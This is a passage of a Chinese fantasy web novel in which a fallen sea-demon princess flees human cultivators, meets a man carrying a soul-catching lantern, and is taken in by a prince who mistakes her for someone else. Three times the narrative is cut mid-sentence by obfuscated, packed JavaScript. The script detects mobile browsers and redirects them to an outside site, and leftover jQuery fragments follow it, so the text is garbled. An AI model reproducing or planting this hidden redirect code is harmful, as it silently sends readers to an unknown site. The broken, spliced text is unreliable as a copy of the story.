绿色贝壳带起飓风,压折一地枯草,落地一瞬亮起光圈,化作绿衣女子。
“六公主,我还当你后悔了。”
绿毛贝道。
“谁后悔啊!晚来的不是你吗?”
海谣余怒未消。
绿毛贝魅眼流转,话锋一转。
“我是有些后悔了,怎么办?六公主,有时候我怎么觉得你很蠢,你都不知道这几天发生了什么吗?”
海谣眉心一跳,她这个年纪的女孩已经懵懵懂懂知事,又经几日熏陶,一眼便从绿毛贝眉宇间看出几许娇怯。
真变态啊。
海谣想着,嘴上却道。
“我不行,我太丑了。”
“小海谣说得不错,不过我不一样,我想要多美就有多美,我能比你美丽一千一万倍。”
绿毛贝捂着唇,咯咯笑了起来,一张本就美艳的脸幻化得更加妖媚。
海谣愣住了,茫然之间,绿毛贝抬手挥出几粒珍珠。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179985|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
结界瞬间爆裂,轰隆之声震彻山谷。
海谣跟上绿毛贝,往山谷里去,险路难行,海谣喘着气。
“这里有没有水?”
海族妖类一旦离开水系便难以施展术法,只能靠双腿走路,而她的腿是一副假腿,翻山越岭跑不过一会,便已筋疲力竭。
绿毛贝拉着她,“别停,你一停下来会更累,不过,你说得很对,这样跑太累了。”
他还原成壳,匀出体内水分铺成一条薄薄的水路,又把壳润得油光水滑,顺着水迹眨眼滑出数丈远,海谣目瞪口呆,水层太薄,不足以让她跟上,贝越滑越远,丝毫没有停下的意思。
海谣仰着头,愕然地望着飞去的圆盘,体内真气在以意想不到的速度流逝,妖歌维持的时间不长,也许一个时辰,也许只有半个时辰。
霎那间,好似整座山谷都亮了。
“我听到声音了!”
“好像在那!”
“看到了!”
海谣惊恐不已,脚下一歪跌进树丛,身子被枝叶荆棘卡主,她不敢呼吸。
火把越来越近,照亮了漆黑的山峦,她下意识想藏得更深,手一动,触到一片冰凉,凝神一看,竟是一块斑驳厚重的墓碑。这是一片荒坟,光影明暗交错,哔哔剥剥灼烧声正在靠近。
海谣缩在墓碑下,忽然,石砖上炸开几朵火花,星子飞溅,点燃起一片枯草。
人修的符篆接二连三飞来,火势愈大,光芒照亮了女孩惊恐的面孔。
“要不把她全身筋脉挑断?”
“直接杀了算了。”
“长得不错,还是留着,断她筋脉,留着拿回去卖掉。”
海谣小脸哆嗦着,想出去求饶,待到人修走近,却被他们腰间铁钩吓得缩了回去,反应过来后猛地用力拍去,这一掌妖力稀薄,但修士毫无防备,被她闯出一条路来。
海谣跌跌撞撞跑进乱坟堆,天上月亮坠入深云,大地顷刻变得伸手不见五指,黑暗无疑给了她掩护,符篆失了方向,胡乱划过天空,却尽数消失在黑暗深处。
好像被什么看不见的东西吞噬,一个声响都没炸开。
海谣惊讶地仰起头。
天是那样的黑,远山丛林乱坟石堆都模糊了轮廓,混沌之中,她却无比清晰地看到了那个颀长的黑影,在荒草丛生的坟地里,暗蓝光影闪烁不定,光亮的边缘映出了一只苍白修长的手,再往上,看不清脸。
那人静静站着,好似没有感知到周遭的异动。
海谣却知他正在看她,那俯视的姿态,无端透着强烈的悲悯,仿佛高悬于明净殿堂之上的神祗。
11. 第 11 章
海谣完全沉浸在意外之中,连山野什么时候静下来,都没察觉到,火光熄灭了,人修奔逃的身影渐远,漫山遍野,唯剩幽蓝的光影跳动。
状似火焰,却没什么温度的样子,映得石碑愈发凄凉。
满目鬼气森然,寒气自足下起。
他怎么会在这,海谣怔愣在原地,微妙的、模糊的生出了一丝躲起来的念头。
却不是因为害怕。
草地发出窸窣的声响,他正慢慢朝她走来,那只放在腰际的手提着一盏蓝.灯,即使在破败荒芜的坟地,身影看起来仍旧优雅、矜贵,她忍不住攥住自己黏腻破烂的袖子。
胳膊止不住想往后缩,人影却到了近处,他另一只手递来,沉默半晌,终于陆言拉住了她。
“小谣儿不记得我了?”
语气一如既往轻快,海谣说不清是什么感受,她定定看着那双温和带笑的眼,把它当做一种无言的嘲笑,越看越生气,越想越恼怒。
他明明什么都看到了,看到她像条狗一样被人追赶,看到她跌进草丛里,差点被人挑断筋脉......但她也不想让他可怜她,别扭怪异的滋味弥漫心头,她自己都不知道想要什么。
“你来这做什么。”
语气生硬。
陆言对这不礼貌的问句皱眉,“小谣儿真不记得我了?”
“哼。”
“好啦,我是恰好路过,没想到在这里遇上了你。”
陆言道。
“恰好路过?”
女孩声音都有些尖了,她极力压制失望的表情,可微微发颤的尾音,还是暴露了内心隐晦的不甘。
陆言好似没有察觉,平静地微笑。
“是啊,来这里做些事,恰好看到你。”
“这里有什么事好做。”
海谣干干道,她对他要做的事毫无兴趣,陆言却拉着她坐上坟头,碰到冷硬的砖石,她低低唤了声。
“的确有一点可怕,不过,它没有恶意。”
耳边,陆言沉沉地说,海谣撇撇嘴,她才不是害怕,而是不习惯随便坐人家坟墓,谁像他一样不知所谓。正想反驳,却见灯中蓝光忽地凝成一团,猛然撞向灯壁。
好像是什么人在用头撞墙。海谣真的吓了一跳,回过神来,她才发现灯里没有蜡烛,也没有芯子,那团幽蓝更不是火光,它悬浮在空中,像有生命一样,能感受到疼痛,一击之后浑浑噩噩散开,好似颓然泄了一股气。
陆言举起灯,放到眼下静观,那专注的模样,有着奇异的吸引力,海谣忍不住看了过去,却见灯盏之后,零星寒光散落在他长睫上,宛如薄薄地下了层霜雪。
光点神秘地闪烁,女孩的心也跟着一跳一跳。
“陆言,这是什么?”
“一缕魂魄”
话音刚落,魂魄又开始猛烈地挣扎。
“你在把它抓起来吗?这个灯,是不是魂鼎!”
海谣面色大惊,她对眼前的器物感到不可思议,无论人间还是妖界,都幻想打造出一种用来承载魂魄的鼎器,可惜人们费劲脑筋,也没真的做成。
若真的拥有一个魂鼎,就能留住一缕魂魄。
魂魄留于世间。
逝去的亲人、爱人便不会进入轮回,永远陪伴生者,此后再无死别,这么一想,死亡好像也变得没那么恐怖。
女孩好奇的神情全看在陆言眼中,他把灯递到她手上。
海谣看着自己手心也落了细碎残雪,红唇欣喜地扬了起来。
“是魂鼎。”
她惊讶地道,
“这是什么人,对你很重要吗?”
“什么人?不知道。”
陆言说得稀松平常,海谣呆了呆,被他的敷衍欺瞒激怒了,魂鼎珍稀,哪是随便什么魂魄都能往里头塞!
她扫了那蓝光一眼,带了些蛮横的态度道:“不知道你为什么要把他留下来!”
陆言微微皱眉,唇角忽向上抽了一下,形成一个短促的笑容。那笑意带着恍然,偏偏还有满怀包容的无奈,落在海谣眼里,就成了讽笑。
“你笑什么!”
她声音更大。
“世人都想把亲人留在身边,但魂魄离体之后,记忆会颠三倒四,他们常常都不记得自己是谁,变得暴躁又可怖,这种魂魄,留下来又有什么意思?”
海谣呆了呆,微微失望,“你怎么知道别人记不住。”
陆言手抵着下巴:“如果生前有什么很深的执念,或许忘不掉吧,要不何必多喝一碗孟婆汤。”
“那你为什么把别人抓起来。”
海谣无言以对,淡淡的怅然,忽从心头划过。
“当然是怕他们闹鬼吓人啊,他们很凶的。”
说着,魂魄重新凝聚成团,拳头一样砸向灯壁,无声强攻几番,透明的屏障竟然裂开了一道细纹,白花花的,如枝杈疯狂生长,迅速布满整面灯壁。
“啊!它逃了!”
海谣猛地跳起,伸手抓住蓝光。
幽蓝脱力地飘在空中,被女孩指间一碰,立刻哆哆嗦嗦颤抖起来,平滑的光线不断扭动,光点纷纷乱撒。
夜空里寂静无声,却仿佛回旋着什么人的惨叫。
海谣惊吓地缩回手,蓝光忽一下窜出几丈远。
“怎么回事!”
陆言道:“魂魄没了身体保护,很容易受伤,它刚撞开灯,又被你碰到,现在很疼。”
海谣冷不丁想到海影掀她衣服给她上药,瓶口时不时碰到伤口,从头到尾,没有一刻不是剧痛,这么想着,疼痛好像又从后背漫开。陆言站了起来,黑袍优雅流畅地垂悬,海谣瞬间警觉。
“好啦,小谣儿,我得走了。”
“去哪!”
女孩一下忘了逃跑的魂魄,也忘了疼,脑子忽然像锈住了。陆言淡然看她,“去看看有没有什么东西更适合用来承装魂魄。”
似乎后知后觉地发现女孩失望,他道:“小谣儿想和我一起走吗?是有些麻烦,但也不是不......”
“我才不想!”
海谣粗暴地打断。落难的女孩早已学会察言观色,何况陆言毫不掩饰,她一眼看得出来他不情愿,她已经不是公主,对着他,再没有自信像从前一样,陌生的难堪涌了上来,但心中依旧高傲地想,他毫不留情地把她推出去,她才不会哀声祈求。
“要不是你我早走了,让开!”
陆言看着高出地面一截
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185475|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的坟头,不解道:“公主要从这里过去吗?”
他故意的!
海谣被他看得浑身不自在,她身上裙子早破得不成样子,沾满了血迹泥点,短短十几天,她每天都过得提心吊胆,学会了哀求讨好、低声下气,脾气全都痛苦地收敛起来,哪里还和公主两个字沾边。
眼眶发酸。
女孩重重哼了一声。扬起下巴装作不在乎的样子:“懒得理你。”
她飞快的跑出几步,又迟疑地停住,回头看去,天上月亮露出,视野更亮,那人却看不见了。
......
“太脆了。”
陆言打量碎了一半的灯,语气很是沉闷。
“不过你不是找到更合适的容器了?”
斗篷飘荡。
......
天还没有大亮,晨露沾衣,寒意透骨,海谣抱着胳膊,走出很长一段路,心想大约安全了。
恰在此时,大片大片的火光升起,在曦光中不如夜晚刺目,黑烟滚滚,火焰的暖色颜色让海谣如坠冰窟。
“快看,小东西在那!”
“将军小心,小妖女会妖法高强,把我们几个人都打伤了。”
“何将军,小妖女还放走了另一个。”
“不是还跑了一个?先把她抓回来,带去给王爷处置,没准还能把那个逃跑的引回来。”
人修从四面八方逼近。
似是一早埋伏在周围,只等她落单就围堵上来。
“何必等到回去!本将现在就杀了她!”
铁剑刺来,却被另一人挡下。
“将军忘了,王爷说要亲手了结她。”
“就说她死在了外面。”
“何将军三思,你杀了她,王爷岂会看不出来?”
领头的人身披银甲,一看便知地位超然,很不好惹,海谣不敢看他的眼睛,却从旁边几人口中听出生机。
“求你们,不要杀我,我跟你们回去。”
何将军愤愤收回了剑。
有些人嗜血、凶残,却不一定特别想要谁死,他们只是享受咬断猎物脖颈那一瞬间的快感。
他是下属,又怎会不知。
海谣被拖回营地,何将军故意把链条拉得哐当作响,沿途的妖闻声全跑了出来,他们看着遍体鳞伤的海谣,都默默垂下眼帘。
眼见震慑的目的达到,海谣被带进王爷的院落。临时停歇的院子不大,砖石洁净,花草馥郁,处处透着讲究雅致,唯有一条新鲜的血迹格格不入,血迹尽头,一只妖被人拖着,胸前血珠止不住地往外飞溅。
海谣跪在地上,一双沾血的白靴走进视野,然后是他青绿的袍角。
“王爷,已经抓回来了,可惜跑了一个。”
“下去吧。”
长剑抵在咽喉,海谣被迫抬起头。
不知为何,剑端一直在抖,持剑人慌乱的心绪沿着玄铁传到她皮肤上,下一瞬,剑端稍稍离开了些。
“能睁开眼睛吗?”
声音也在颤抖,似有微不可查的恳求。
海谣茫然地睁开了眼。
瞳眸边沿泛着一圈碧海般的蓝。
那把抖动的剑落到地上。
12. 第 12 章
少年的目光,温和得有些奇怪,海谣偏过头,眼神躲闪,尚在怔愣之间,双臂已被人轻轻托起。那动作,小心得仿佛在托举一件名贵的瓷器。
药香钻进鼻尖,海谣不知所措地抬起眼。
“终于找到你了。”
少年面色惊喜。
海谣脸上忽冷忽热。
看他苍白的脸,许是身体抱恙,青色银绣外袍松松散开,露出里面洁白的长衫,头发用一支玉簪束起,色泽纯净,没有凶戾之气,他朝她府身,温热的气息就在肌肤上游走,女孩更惊了一跳,微微地后退,盯着他,飞速思索。
海谣记性向来不怎么样,半晌过后,脑中还是茫茫空白。
疑惑且不友善的目光并没让晋王恼怒,被人这样研究和观察着,他反而一脸希冀地看着她。那样炽烈的目光,哪怕海谣是个妖,算不得真正的人间少女,都不禁红了脸颊。
“还记得我吗,认出来了吗?”
声音仍旧小心翼翼。
海谣皱起眉头,有些犹豫,她心中已经有数,只要她点点头、或是轻轻地嗯一声,就能结束颠沛流离的生活。女孩为了生存,学会了许多从前自己厌恶、不屑于去做的事,她不止一次体会到了人类所说的“妖性嬗变”,可这一回,她莫名觉得有什么不太一样,太荒唐了,像蒙着一层白雾,于是不敢轻易随波逐流。
他把她当成了谁?
“没关系,我知道你心情不好,不过我可以和你保证,我没你想的那么坏,以后这些事都不会发生。”
晋王先替她找了缘由,“来人,先带海姑娘下去休息,谁也不许怠慢!等会我再来看你,行吗?”
他转向海谣,不容拒绝的威严全都收敛得一干二净。
侍女低着头来扶海谣下去,出了门,几个人间少女交换眼神,都有些不服气,她们本以为是进来清洗血迹,手中帕子都带上了,却不想是来侍候妖怪梳洗,轻松是轻松不少,可心里更加乱糟糟的。
厢房里,侍女进进出出,有人拿来一件绣满了蝴蝶的粉红长裙,换掉海谣身上没法入眼的衣服。光影晃动,有人端来铜镜,围着她抹粉簪花,金钗碧玉很快戴了满头。
海谣愣愣坐着,任由她们打扮。门外来了个人,侍女发现了他,慌慌张张过去行礼。晋王示意所有人退下,一个年岁稍长的侍女临走前柔声提醒海谣好生服侍。
海谣迟缓着,金粉色的裙子长长地拖在地上,她没来得及起身,可对情绪的控制渐渐形成本能,虽不知道怎么服侍别人,却还是马马虎虎冲晋王笑了一下。
笑容刻意又勉强,谁都当做没有发生。
晋王坐到她跟前,药香带寒,幽然沁脾。
“我叫楚临,楚临。”
少年将字音咬得极稳极重,仿佛生怕海谣听岔了,更漏中水生点滴,霞光布满天空,侍女鱼贯而入,一开门,洁净的青金石面洒满了金光。
她们端来了饭菜,还还来了个人。
海影惴惴不安地进来,一见海谣与晋王在茶案前对坐,陡然猛抽了口气。
“都不要说话。”楚临指着海影,问海谣,“她是你什么人?”
海谣一下看出来,楚临是在核实她的身份,而且,在楚临得到的信息中,她必然与海影关系匪浅。她固然对楚临的亲近感到匪夷所思,却也很庆幸,海影真的是她姐姐。
不然随口乱编,必定会露馅,好日子就在眼前,唾手可得,说不心动是假的。
女孩心下狂喜,小脸却矜持地抬起。
她是妖,即使有罪恶的负担,也只是难受了一小会,心中那道槛很容易越过去,何况根本算不上骗人,她道:
“她是我四姐。”
楚临眉宇舒展,海影却道:“殿下,我知道昨晚是谁让将士们全晕过去,就是她!”
突然这么一句,对海谣而言犹如晴天霹雳,可事实如此,她慌乱着不知道怎么解释,楚临却安抚地拍拍她的手。
“本王知道。”
莫名有点欣赏的意味。
海影面色铁青:“殿下,我还知道她有未婚夫,昨晚上跑的另一个其实是个男的,他就是她未婚夫!我听过他们说话!”
海谣微微色变,咬了咬唇,妖族向来不太重名节,放在平时,就算满大街说她是绿毛贝未过门的妻子,她都不在意,没准还能大言不惭地说等她当上海君,就封绿毛贝做君后,谁让他真的对她好过一小段时日。
但人间男子最重女子贞洁,她和绿毛贝逃命,说得严重,可能是私奔!
她在海里时,不知见了多少被投入水中的姑娘,她把她们捞起,一问竟都是因为污了清白。
她想不通为什么海影为什么要反复拆她的台,气得浑身哆嗦。
“他就是你未婚夫?”
楚临问着,浑不在意。
海谣不知如何作答。她煞白的脸无疑说明了一切,楚临莞尔,“你想嫁给他?”
海谣猛地摇头。
“我知道了,你能这么想,我很高兴。”
少年低垂的眼帘掩去了喜悦,在侍者面前,他维持着亲王的威严,双目平展,沉稳而严厉地吩咐众人见海谣犹如见他。
这个命令,不止是对后院的小厮婢女,还囊括了一干属官。
海谣半是忐忑半是激动地站在楚临身边,那些将官不约而同投来诧异的眼神,一只妖,拿来当个玩物没什么稀奇,像这样郑重其事,把妖看得比谁都重,实在耸人听闻。
何将军更是狠狠瞪了海谣一眼,目中警告的意味很浓,他胡子颤动。
“王爷既然找到了这位姑娘,是不是可以启程回京。”
楚临神清气爽,吩咐即刻启程。
见好就收的道理海谣也懂,她与楚临在一起,免不了见到何将军他们,碰到讨厌的人她就绕着走,尽量不与他们争执,但海影居然来了。
海影换了副沉静的表情,一路上,她都跟着她,饮食起居的待遇几乎与她别无二致。
在楚临的假想中,她们关系很好。
海谣气不过,楚临浑然忘了海影对她的刁难。
瞅着楚临自以为妥当的安排,海谣无可奈何,一言一行继续照着他的幻想来做。她不傻,几日相处,心中已经模糊地知道,楚临要找的人大约是个温柔娴静、说话柔声细气的姑娘。
他对她说话时轻声细语,连正常的音调都没有,像是生怕惊扰了什么。
他真正要找的女子会是谁?
海谣心里充满了疑惑,目前能肯定的只有“幻海四公主的妹妹”这一条线索。
温柔娴静、细声细气则是幻海许多公主共有的特点,无法排除任何人。
到底是她五姐,还是海月。
海谣碰了碰自己的脸,抿紧了唇。她只字不提其他的人,也从来没有试图要对楚临多问一些什么。
楚临在时,她装着绣花,海影在一旁穿针引线。
什么姐妹情深,全是她们两个演戏,她怕原形毕露,海影更怕她赶她走,互有忌惮、彼此牵制,因此,在这一点上,她们有着惊人的默契。
一日,楚临一走,两人同时收起了伪善的笑脸。
海谣丢开针头,长长地往榻上一歪,命侍女捧来脏衣服。
戴着金钏的手臂朝衣服一挥。
“你去把这些衣服全洗了。”
海影脸色忽青忽白,到底没有发火反抗,她两只眼睛古怪地盯着衣物,接了过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192660|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
海谣拈起一瓣橘子放进嘴里。楚临对她很好,吃穿这类小事,不管她有没有提,他都办得十分周到,光是衣裙就置办了几大箱。这两天,她没事就换着衣服穿,一条裙子,在她身上的时间最长待不过一时辰。
很快脏衣服就积成了小山。
海影不会净衣咒,也不会让水自动翻搅,最基本的召水术都练得不精,她老老实实从井中打起几桶水,蹲坐在盆边用力搓了起来。
海谣略略出了口恶气。
等海影把衣裙拿去晾晒,她点起一滴水珠,打停了海影动作。
女孩跳下贵妃榻,像只蝴蝶,轻飘飘转到海影跟前,纤细白皙的手指划过没有半点污渍葱绿色的绸缎,秾丽的脸蛋满是郁闷。
“好像还有一点点,一点点不干净。”
海影勉强笑笑,扯下绸缎继续浆洗。
晚上,楚临来陪海谣用膳,侍女端来菜肴,不知怎的,她突然痛呼了声,楚临蹙眉,“怎么是你?”
海影神色不自然,手指缩了缩。
“你手指怎么了?”
楚临问。
海谣心一跳,看了过去,那手指破了皮,一抹血色残留在玉盘上。
海影道:“没什么,白天帮谣儿洗衣服不小心洗破了,洗了好几遍,就怕不干净。”
海谣心头狂跳。
楚临一双乌黑的眸子正聚精会神地盯着她,“不是有侍女吗,为什么要让姐姐洗?”
海谣攥着手指不敢回话,害怕露馅的煎熬就像一把火,烧得她五脏生疼。忽而心下别扭,楚临叫海影姐姐,他知不知道她那把年纪,做他太奶都绰绰有余。
“没事,我在家里也经常这样照顾妹妹,她不习惯别人碰她的衣物。”
满口谎言!海谣心下堵得慌。
楚临道:“知道了,下去吧。”
海谣不安地吃完了一顿饭,正搜肠刮肚地想办法和楚临解释,何将军有要事急报,楚临离开后,海谣施了个结界。
她念咒凝水,细碎的银丝斜飞入窗,淅淅沥沥,如同下了一场小雨,帐外丫鬟惊呼,忙着要把海姑娘的衣裙收回来。
海谣欣喜地看了看掌心,几日修整,灵气如以往充沛,但还远远不够。几次与人修交手都落了下风,她才知无垠的海水给了她太多庇护,到了陆地,几乎沦落到了任人宰割的境地。
要行走于世间,不得不求助于一些旁门左道。
架子上的铜盆聚满了水,粼粼水泽投射在营帐上,金光破碎,杀气迷漫。
海谣催动水波,水起风涌,胸前血珠闪烁,她下意识开始吸收腾腾翻涌的妖气,元贝的血珠近似于妖丹,不知储藏了多少日精月华,炼化了一点大妖丹元,女孩整个人瞬间神清气朗。
她不打算伪装太久,海影不断拆穿她,强烈的危机感如浓云笼罩,她留下来的日子不会太长。
调息坐定,视线耳力都比日常清晰。
远处交谈的声音传来。
“殿下,您不能再这样了,一只妖而已,而且,依臣看,她根本就不是您要找的那位姑娘,恕臣直言,一些事,臣也略有耳闻,她那德性......”
海谣气得跳脚,她脾气收敛了不少,姓何的还这样说她!
接着是少年磁性微哑的声音。
“但是,没什么可怀疑之处。”
“就算没有,也不易亲近,她是妖!殿下难道想被人背后戳碎脊骨?”
“本王知道,我自有分寸,你说得没错,一只妖而已,即便她真的是她,本王也不打算久留。”
他叹息着,声音低了,“有时候,离得近了,真的不如记忆中那般。”
下属没敢回话。